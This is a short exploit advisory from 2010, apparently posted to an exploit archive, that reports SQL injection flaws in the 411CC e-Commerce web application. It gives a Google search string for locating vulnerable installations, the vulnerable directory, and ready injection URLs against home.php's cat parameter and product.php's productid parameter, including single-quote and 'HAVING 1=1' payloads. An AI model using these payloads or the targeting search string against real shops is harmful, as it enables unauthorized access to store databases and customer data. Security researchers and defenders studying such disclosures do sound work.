411CC e-Commerce <= String(') SQL Injection Vulnerabilities

in

===================================================================
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockoutr@msn.com
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Web App. : 411CC e-Commerce
~Version : N/A
~Software: http://www.411cc.com/
~Vulnerability Style : SQL Injection
~Vulnerability Dir : CCART/customer/
~Google Keyword : "Powered By: 411CC"
~SQL Method : MSSQL no error
~String : '
[~]Date : "18.10.2010"
[~]Tested on : (L):Vista, (R):PHP/4.3.9

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~ Explotation ~~~~~~~~~~~
String (') SQL Injection Attack..
http://VICTIM/cccart/customer/home.php?cat=59' {SQL Injection}
http://VICTIM/cccart/customer/home.php?cat=59' HAVING 1=1/*
http://VICTIM/cccart/customer/product.php?productid=' {SQL Injection}
http://VICTIM/cccart/customer/product.php?productid='%27%20having%201=1/*